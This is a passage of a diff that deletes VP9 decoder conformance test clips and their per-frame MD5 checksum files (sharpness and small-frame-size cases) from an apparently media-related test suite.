-70cb8d8dc83eac82f2d3c4b0376bb1aa  vp90-2-01-sharpness-2-352x288-0007.i420
-ffd62a9ef829ec81f0f74f740488a41f  vp90-2-01-sharpness-2-352x288-0008.i420
-bab0aa23b5854e2a70926046e4618710  vp90-2-01-sharpness-2-352x288-0009.i420
-fec456f38f2a43661e786a8d5f67ed15  vp90-2-01-sharpness-2-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_3.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_3.vp9
deleted file mode 100644
index ac4d3c7..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_3.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_3_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_3_vp9_md5
deleted file mode 100644
index 5f66ebd..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_3_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-3-352x288-0001.i420
-0d487a146393a0b8b84b4be1b371b507  vp90-2-01-sharpness-3-352x288-0002.i420
-68372e191eba620a431cfff226026ac3  vp90-2-01-sharpness-3-352x288-0003.i420
-de7fd274460e36b983fe93acc208d72f  vp90-2-01-sharpness-3-352x288-0004.i420
-afbd36c61bab65b98ff9acf08e215721  vp90-2-01-sharpness-3-352x288-0005.i420
-e1e9fc2ab4e7a187a8d8d84aae48d6b9  vp90-2-01-sharpness-3-352x288-0006.i420
-11d95de6a9cc5e00511e99534779faac  vp90-2-01-sharpness-3-352x288-0007.i420
-cd2f5539fdfc2d8eefe6b6da28c13398  vp90-2-01-sharpness-3-352x288-0008.i420
-a8b3aeed41da7aeb8d5b962ee4a4af93  vp90-2-01-sharpness-3-352x288-0009.i420
-4283670bd1c1c506ef18d3dafca22035  vp90-2-01-sharpness-3-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_4.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_4.vp9
deleted file mode 100644
index 4f9ac94..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_4.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_4_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_4_vp9_md5
deleted file mode 100644
index dc3f2c1..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_4_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-4-352x288-0001.i420
-8bad76c55b5149169d64ce6512521de6  vp90-2-01-sharpness-4-352x288-0002.i420
-c1d986e1f9bf46382e598ba289b9bd7c  vp90-2-01-sharpness-4-352x288-0003.i420
-86c097ac6069c786023d3561dae68bac  vp90-2-01-sharpness-4-352x288-0004.i420
-8c238a2831b8c7c49736b6de6ff76ed8  vp90-2-01-sharpness-4-352x288-0005.i420
-cb5a038ed0a74a317ee72dae93a7ee3e  vp90-2-01-sharpness-4-352x288-0006.i420
-f8fe330a257e3e4e4c39c1c12820a654  vp90-2-01-sharpness-4-352x288-0007.i420
-a73e2fcdcbb9334c0c123f8276a2c881  vp90-2-01-sharpness-4-352x288-0008.i420
-24fccece8ee639e4d0e00e4060e1db0c  vp90-2-01-sharpness-4-352x288-0009.i420
-46d6e9aad69a39c718c5fd1e41e86e6e  vp90-2-01-sharpness-4-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_5.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_5.vp9
deleted file mode 100644
index 7f5e528..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_5.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_5_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_5_vp9_md5
deleted file mode 100644
index a545e7c..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_5_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-5-352x288-0001.i420
-f1ce0a5d57a46c9ff1331804b7b03fdb  vp90-2-01-sharpness-5-352x288-0002.i420
-0364a085b06bee6b980189cf5378eda9  vp90-2-01-sharpness-5-352x288-0003.i420
-4b5358698d734b0ae210909a913d4c1e  vp90-2-01-sharpness-5-352x288-0004.i420
-dc22565aaceee77b15fd8ab3c84bd5e0  vp90-2-01-sharpness-5-352x288-0005.i420
-5f6340b656536292b46ba9a647aeb6e4  vp90-2-01-sharpness-5-352x288-0006.i420
-b7d4bce9a04b2a6caa45801be15e331e  vp90-2-01-sharpness-5-352x288-0007.i420
-534c851cfe59ffc047815ece98d8cede  vp90-2-01-sharpness-5-352x288-0008.i420
-786b0e1564d5c71aabfc2dd528cff4e7  vp90-2-01-sharpness-5-352x288-0009.i420
-cac0366209cf471bb7cc3e64966cbbd4  vp90-2-01-sharpness-5-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_6.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_6.vp9
deleted file mode 100644
index 5f8d031..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_6.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_6_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_6_vp9_md5
deleted file mode 100644
index 0c36072..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_6_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-6-352x288-0001.i420
-45d9ca07ed04210b1ebc743169bc8ec4  vp90-2-01-sharpness-6-352x288-0002.i420
-5b646cc309a711f1d8814f925002d8c4  vp90-2-01-sharpness-6-352x288-0003.i420
-34db8db727fa1ded0a55cc7cf85be249  vp90-2-01-sharpness-6-352x288-0004.i420
-54173d08afe6369b16a9c0c9cc6ce04d  vp90-2-01-sharpness-6-352x288-0005.i420
-76275b0a478cdb3c1fb527ebbce023c3  vp90-2-01-sharpness-6-352x288-0006.i420
-e7643cdf0c42f2af700d8730bfc1a453  vp90-2-01-sharpness-6-352x288-0007.i420
-6e53097e56f680cb658d63100e7736f7  vp90-2-01-sharpness-6-352x288-0008.i420
-1a407c3c8ea1d5245ae68c5ce7de70e1  vp90-2-01-sharpness-6-352x288-0009.i420
-6cbca24912cadf09b20be74f14e359c9  vp90-2-01-sharpness-6-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_7.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_7.vp9
deleted file mode 100644
index 325523f..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_7.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_7_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_7_vp9_md5
deleted file mode 100644
index 6c94a52..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_7_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-7-352x288-0001.i420
-f719d0be18d16a448b4e7da3e2d9bf28  vp90-2-01-sharpness-7-352x288-0002.i420
-83ee8ebc0ca796782a2376a76f2ffc26  vp90-2-01-sharpness-7-352x288-0003.i420
-7cf5afdbc229e1af50a5377cfc23d831  vp90-2-01-sharpness-7-352x288-0004.i420
-44244e896e0362f6376ba5afa563ba8b  vp90-2-01-sharpness-7-352x288-0005.i420
-df5f518d44eb6cb91b2df5a30d27ef82  vp90-2-01-sharpness-7-352x288-0006.i420
-43cc3f151b8337aca7ee659c8abeb783  vp90-2-01-sharpness-7-352x288-0007.i420
-4e89573470d9b97464e10806fc81aa8b  vp90-2-01-sharpness-7-352x288-0008.i420
-62e0ba70f07ece8d85372f0a42e83a9a  vp90-2-01-sharpness-7-352x288-0009.i420
-45ac2928acb11326f6c4a21401f3609c  vp90-2-01-sharpness-7-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x08.vp9
deleted file mode 100644
index 269acbb..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x08_vp9_md5
deleted file mode 100644
index c74db82..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-52def242c36123e5a8f5f53d6a971399  vp90-2-02-size-08x08-8x8-0001.i420
-79c93360fbd47179400414bbfee0901c  vp90-2-02-size-08x08-8x8-0002.i420
-c3b1947c79537baa7838905276276a91  vp90-2-02-size-08x08-8x8-0003.i420
-20f35e501bdee0bc63e87b9240265c25  vp90-2-02-size-08x08-8x8-0004.i420
-5e8f1c464bafd54833c51860906b5368  vp90-2-02-size-08x08-8x8-0005.i420
-f57b592600dfc99e634a083278af769a  vp90-2-02-size-08x08-8x8-0006.i420
-7b02191f85590cbad3f148c7b92d6436  vp90-2-02-size-08x08-8x8-0007.i420
-b0a1c9870447a1744f64cd4087ef55ee  vp90-2-02-size-08x08-8x8-0008.i420
-c82712b1ba7a95efb67cbdde0ad708b6  vp90-2-02-size-08x08-8x8-0009.i420
-89f4539f8d7a7b45a91fd2f46335988e  vp90-2-02-size-08x08-8x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x10.vp9
deleted file mode 100644
index 714467a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x10_vp9_md5
deleted file mode 100644
index c051eb9..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ea3e0f807304b0eb2d3e329b0124f75c  vp90-2-02-size-08x10-8x10-0001.i420
-8d13cf682d63e7eb13094f55d67fc458  vp90-2-02-size-08x10-8x10-0002.i420
-e729cc6c3684c94a8f6118c618efc3ea  vp90-2-02-size-08x10-8x10-0003.i420
-ac43a0ace8e4112e877c2491ecc14fb5  vp90-2-02-size-08x10-8x10-0004.i420
-53695f90b88d8e8cb838f0faec3238d3  vp90-2-02-size-08x10-8x10-0005.i420
-40afd1c4dfd4a2e3b31631c46d252bcc  vp90-2-02-size-08x10-8x10-0006.i420
-2b656f76f2e84d2f82d9bda2b5be94d3  vp90-2-02-size-08x10-8x10-0007.i420
-b22f004d678d047bc401be5e040cf883  vp90-2-02-size-08x10-8x10-0008.i420
-57c840319abfb9c31013fbde54de3fb0  vp90-2-02-size-08x10-8x10-0009.i420
-0f3dfc156216d7cfb6fd1d8c77dadab9  vp90-2-02-size-08x10-8x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x16.vp9
deleted file mode 100644
index 815483f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x16_vp9_md5
deleted file mode 100644
index d95f639..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0553e56a9d89aea496421885aab491f5  vp90-2-02-size-08x16-8x16-0001.i420
-b2a14cf676f7ebf3c50450050f76ad16  vp90-2-02-size-08x16-8x16-0002.i420
-a308d981e09b50571fb0c8ebdcefe505  vp90-2-02-size-08x16-8x16-0003.i420
-d592ec625a0ac0373e82610c3eed9864  vp90-2-02-size-08x16-8x16-0004.i420
-acd19642455e643023b4fb882c3891ba  vp90-2-02-size-08x16-8x16-0005.i420
-5af5390fd8c29b795e0ddf83f3f34284  vp90-2-02-size-08x16-8x16-0006.i420
-473505aa2a76231725cf2107d6c9dbef  vp90-2-02-size-08x16-8x16-0007.i420
-84860db6887e320f2d64f80cf0032e57  vp90-2-02-size-08x16-8x16-0008.i420
-408e9cf60e99ae99d204ff08f3196d1a  vp90-2-02-size-08x16-8x16-0009.i420
-d8af96b79258f9382e911ed38340bdf5  vp90-2-02-size-08x16-8x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x18.vp9
deleted file mode 100644
index 542ae03..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x18_vp9_md5
deleted file mode 100644
index d22d06a..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-4c41f93b1b280b37bc77d7047435eaa4  vp90-2-02-size-08x18-8x18-0001.i420
-c9c80fdba2ebc2b8c3490ae35e34f84f  vp90-2-02-size-08x18-8x18-0002.i420
-089d86acb3263fa5ef4f591a7f44556d  vp90-2-02-size-08x18-8x18-0003.i420
-938fca6d93b83484144f5054e4838a41  vp90-2-02-size-08x18-8x18-0004.i420
-e0592e2ac9f5e09525ce0d3904cadf47  vp90-2-02-size-08x18-8x18-0005.i420
-ea43ff5d1330986e60c08567262ea764  vp90-2-02-size-08x18-8x18-0006.i420
-08b40fe109ee90188f1cba9bbb1b376e  vp90-2-02-size-08x18-8x18-0007.i420
-b067068a2a7e36d5c5b5b405a1e73a18  vp90-2-02-size-08x18-8x18-0008.i420
-9cf2d350296288803434b7451bd2be85  vp90-2-02-size-08x18-8x18-0009.i420
-3c785e21dc228d6396738fbfcb470289  vp90-2-02-size-08x18-8x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x32.vp9
deleted file mode 100644
index 57dafca..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x32_vp9_md5
deleted file mode 100644
index 32a5a7b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f92a7777fd69aa2f2914d9a41c4828ba  vp90-2-02-size-08x32-8x32-0001.i420
-62e1cc73487d2249a88a60e35a22d9c7  vp90-2-02-size-08x32-8x32-0002.i420
-aa2619b605cb65eda15fdd99d5775550  vp90-2-02-size-08x32-8x32-0003.i420
-e6f0a491c543b835d0cefe5ca62c3dbe  vp90-2-02-size-08x32-8x32-0004.i420
-361be1a06913c398f09494ca1b2d288f  vp90-2-02-size-08x32-8x32-0005.i420
-0497bf849a973357c0ccb8d43f5bd8b4  vp90-2-02-size-08x32-8x32-0006.i420
-5ac6ac523147c409dd00820622161dd7  vp90-2-02-size-08x32-8x32-0007.i420
-7d07245574a46c524360f09be29a5f19  vp90-2-02-size-08x32-8x32-0008.i420
-fcfa7fbcaf42f81e4e34a4ee5a029ca1  vp90-2-02-size-08x32-8x32-0009.i420
-336e3fe4f15d3d6c82d82b1855dcfeb4  vp90-2-02-size-08x32-8x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x34.vp9
deleted file mode 100644
index 68ff21f..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x34_vp9_md5
deleted file mode 100644
index 626dce9..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f3f2cd8f157466ff23dace85d77367ce  vp90-2-02-size-08x34-8x34-0001.i420
-639d9b70a14062e95559c12d2b597f91  vp90-2-02-size-08x34-8x34-0002.i420
-b2ee07a6656af583f19593229fa11848  vp90-2-02-size-08x34-8x34-0003.i420
-74e3b5ab4c798a0afe745694e871bbd5  vp90-2-02-size-08x34-8x34-0004.i420
-35f1c30d0f8678f319a392a6c53b5989  vp90-2-02-size-08x34-8x34-0005.i420
-07e2b4c0b92a394bfb11124fe80476f0  vp90-2-02-size-08x34-8x34-0006.i420
-7864bd20dfc5280e5f027d67ea22bf30  vp90-2-02-size-08x34-8x34-0007.i420
-10a2925a7b91dfa9b82de76069388fd4  vp90-2-02-size-08x34-8x34-0008.i420
-79cc7f7a149e8d6e04e065f75e63733c  vp90-2-02-size-08x34-8x34-0009.i420
-6453d10d97532d9bb03f7c06cba9fca0  vp90-2-02-size-08x34-8x34-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x64.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x64.vp9
deleted file mode 100644
index 337dfb9..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x64.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x64_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x64_vp9_md5
deleted file mode 100644
index f66d0c7..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x64_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-764bd02b781a38c621a109c12f3d9393  vp90-2-02-size-08x64-8x64-0001.i420
-79496bd2b9212026af816b3b7a0587d5  vp90-2-02-size-08x64-8x64-0002.i420
-2a3afd47ba3d075033fd94d5c3746c45  vp90-2-02-size-08x64-8x64-0003.i420
-fca00cad8d37a6646337baebadd0ca31  vp90-2-02-size-08x64-8x64-0004.i420
-aca376fb3f8a5ef670ecc2430037262a  vp90-2-02-size-08x64-8x64-0005.i420
-7e6c8d96d1e24855c3e380f1bf2ce02c  vp90-2-02-size-08x64-8x64-0006.i420
-09e051241972969d439f27f324d78490  vp90-2-02-size-08x64-8x64-0007.i420
-2566b2a425caaba41305bf04ff10ea01  vp90-2-02-size-08x64-8x64-0008.i420
-db3995bedee42ada1b4ee63c339daf1b  vp90-2-02-size-08x64-8x64-0009.i420
-b00b8f1bf4fd907f0487738f5b5442c6  vp90-2-02-size-08x64-8x64-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x66.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_08x66.vp9
deleted file mode 100644
index 46febdd..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x66.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_08x66_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_08x66_vp9_md5
deleted file mode 100644
index 0c4649c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_08x66_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-df20e8df89449fe50bb610e95a449a95  vp90-2-02-size-08x66-8x66-0001.i420
-18f1a66d463274d1b0489f3a50e86857  vp90-2-02-size-08x66-8x66-0002.i420
-b0cc102875a94c9a92e53826617adbe9  vp90-2-02-size-08x66-8x66-0003.i420
-dfece7c17b4b149283ef51bdc1bd440e  vp90-2-02-size-08x66-8x66-0004.i420
-6e346884f67be259fcabe493109cb63c  vp90-2-02-size-08x66-8x66-0005.i420
-6d282127311eb2d958377490d7cb77f0  vp90-2-02-size-08x66-8x66-0006.i420
-637ac8b14ca5ddbaf7b8910406c3cd08  vp90-2-02-size-08x66-8x66-0007.i420
-e7980f3fcb36969da0d218c4389fa9e8  vp90-2-02-size-08x66-8x66-0008.i420
-730a1c95b9fb165f6e1a2f33a0d25de0  vp90-2-02-size-08x66-8x66-0009.i420
-7bd8424d0783b1c8ad617e17408371bb  vp90-2-02-size-08x66-8x66-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x08.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x08.vp9
deleted file mode 100644
index a27acd8..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x08.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x08_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x08_vp9_md5
deleted file mode 100644
index 2f8e4be..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x08_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e1e66a88615da98523ef887f1463fc42  vp90-2-02-size-10x08-10x8-0001.i420
-549842fa98c8faf572882d38b0aae390  vp90-2-02-size-10x08-10x8-0002.i420
-17ee85785517705fdc78c6122a4b2548  vp90-2-02-size-10x08-10x8-0003.i420
-1143391d419dac30a6c11f366157c974  vp90-2-02-size-10x08-10x8-0004.i420
-b62d2a962c4c36809ef75a610106715c  vp90-2-02-size-10x08-10x8-0005.i420
-e6f143ca33fbc0e776bb149950cdedff  vp90-2-02-size-10x08-10x8-0006.i420
-01716a1077ec66df00474fd4510d2789  vp90-2-02-size-10x08-10x8-0007.i420
-8cb5b6a865fa2cbb15f0d7736fda88a6  vp90-2-02-size-10x08-10x8-0008.i420
-0fb9fd883e895a540fe1704dddbbab04  vp90-2-02-size-10x08-10x8-0009.i420
-150a3b99aa24ef102c92f87c8adb4386  vp90-2-02-size-10x08-10x8-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x10.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x10.vp9
deleted file mode 100644
index de3d37c..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x10.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x10_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x10_vp9_md5
deleted file mode 100644
index 13ae622..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x10_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-083d638f2e147295d817bb14fff5e4f4  vp90-2-02-size-10x10-10x10-0001.i420
-6dbdc445b6fd6bb99f2025cc2a40977e  vp90-2-02-size-10x10-10x10-0002.i420
-41714089383b181d64fbfa7de5904608  vp90-2-02-size-10x10-10x10-0003.i420
-11fdb8465e1599f7a9227706646d2cba  vp90-2-02-size-10x10-10x10-0004.i420
-907876b3342a10040db0851a936af4e3  vp90-2-02-size-10x10-10x10-0005.i420
-e7b18d47d06b25de205d873d3d941640  vp90-2-02-size-10x10-10x10-0006.i420
-523ce7413c8da7f6a657a9b661f36c44  vp90-2-02-size-10x10-10x10-0007.i420
-23caff863af875c66c903662a3e1e6a1  vp90-2-02-size-10x10-10x10-0008.i420
-ed4cc5557203e5b7a119112ee9ceb00b  vp90-2-02-size-10x10-10x10-0009.i420
-4bb78a996be3188888d1c60e11a08e1b  vp90-2-02-size-10x10-10x10-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x16.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x16.vp9
deleted file mode 100644
index 843a547..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x16.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x16_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x16_vp9_md5
deleted file mode 100644
index b614000..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x16_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-fab07d6209d2413e0a434e1aaaa12154  vp90-2-02-size-10x16-10x16-0001.i420
-f9ffffdb96f98527ba2e553d1265edbb  vp90-2-02-size-10x16-10x16-0002.i420
-56a992264cf7da2b23dd97435e9d0365  vp90-2-02-size-10x16-10x16-0003.i420
-b1db980423d8004bd45a789b02b92a65  vp90-2-02-size-10x16-10x16-0004.i420
-b29496aedc7026566367b634f55ebb28  vp90-2-02-size-10x16-10x16-0005.i420
-2bc9def672da4a2fc17cbd669e2b8081  vp90-2-02-size-10x16-10x16-0006.i420
-8c54721514cdf577a52a8668b9135f13  vp90-2-02-size-10x16-10x16-0007.i420
-2efab81d5e039d82b3bc7b0303b022c4  vp90-2-02-size-10x16-10x16-0008.i420
-bd0f42b91b5d126fd0baec765b1096ad  vp90-2-02-size-10x16-10x16-0009.i420
-c6bfea2735a629167bc6a7a7c76eb7f3  vp90-2-02-size-10x16-10x16-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x18.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x18.vp9
deleted file mode 100644
index bd9c902..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x18.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x18_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x18_vp9_md5
deleted file mode 100644
index 0639abf..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x18_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-0e9182e214aae732d94d007e5fe44888  vp90-2-02-size-10x18-10x18-0001.i420
-2630e2674b5611d68218fddac08815e2  vp90-2-02-size-10x18-10x18-0002.i420
-d5cdd7d6a3de17939f60bb60ef6877da  vp90-2-02-size-10x18-10x18-0003.i420
-29d1961096061029e78963fa82581eca  vp90-2-02-size-10x18-10x18-0004.i420
-5c2629f8aa59757f6b4aafa9f6cbcba1  vp90-2-02-size-10x18-10x18-0005.i420
-1f1a8b61e4fbd6222ddf42e9d0a07032  vp90-2-02-size-10x18-10x18-0006.i420
-cfb9771190ac2d0129907102d6abb63f  vp90-2-02-size-10x18-10x18-0007.i420
-cd98dd856ba573a26a943cbe53221f26  vp90-2-02-size-10x18-10x18-0008.i420
-ca13c161f067c4a4ce22bd58a2aca55b  vp90-2-02-size-10x18-10x18-0009.i420
-de4bd1a474a76a35b796a5fc45b4f893  vp90-2-02-size-10x18-10x18-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x32.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x32.vp9
deleted file mode 100644
index 4fa4f8b..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x32_vp9_md5
deleted file mode 100644
index aca6be0..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x32_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-622e6407a051ea08706394d03330ffbf  vp90-2-02-size-10x32-10x32-0001.i420
-1841a0daf7c3ef7be94e01fdb1d3968a  vp90-2-02-size-10x32-10x32-0002.i420
-37790e6cb2415f7add0ac5d3ab354755  vp90-2-02-size-10x32-10x32-0003.i420
-91485880e17c292096a7335566d3648f  vp90-2-02-size-10x32-10x32-0004.i420
-eb6f74983d5fd13d6bd90afbce8836e1  vp90-2-02-size-10x32-10x32-0005.i420
-0069ab5ff7f0d4d601f7d0f9b7a08338  vp90-2-02-size-10x32-10x32-0006.i420
-dbf04254765f7497070387e8c34895c6  vp90-2-02-size-10x32-10x32-0007.i420
-410a9b2d9855b2c29618070994adae96  vp90-2-02-size-10x32-10x32-0008.i420
-7e7f34effd90209f29f1b9ae01488b3b  vp90-2-02-size-10x32-10x32-0009.i420
-471530f74082c01c9b0f1fcf3d240d77  vp90-2-02-size-10x32-10x32-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x34.vp9 b/tests/tests/media/res/raw/vp90_2_02_size_10x34.vp9
deleted file mode 100644
index e039c58..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_02_size_10x34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_02_size_10x34_vp9_md5
deleted file mode 100644
index 1bd82bf..0000000
--- a/tests/tests/media/res/raw/vp90_2_02_size_10x34_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-bfeeaf51f972fd0dfe9ee757083cbb54  vp90-2-02-size-10x34-10x34-0001.i420
-10cd4ed6d762004846412d9cd0caa407  vp90-2-02-size-10x34-10x34-0002.i420
-04cca4008d656ed180de88dd2ddb4f21  vp90-2-02-size-10x34-10x34-0003.i420
-ec777e377836895748c06849fa35ed2d  vp90-2-02-size-10x34-10x34-0004.i420
-b55633d0f9239dff3e45a4abce4a35a7  vp90-2-02-size-10x34-10x34-0005.i420
-063c3ab4b4c599942c3a8a5b7bfe5029  vp90-2-02-size-10x34-10x34-0006.i420
-07b920169d32b5fc51d5b9ae16fef5bf  vp90-2-02-size-10x34-10x34-0007.i420
-8d49e727db9d3072b5ab7bab2133d9be  vp90-2-02-size-10x34-10x34-0008.i420
-17441437203447e946a57d2f96966332  vp90-2-02-size-10x34-10x34-0009.i420
-5d3f14af0e5cd81d0c7d2059f13efa5a  vp90-2-02-size-10x34-10x34-0010.i420
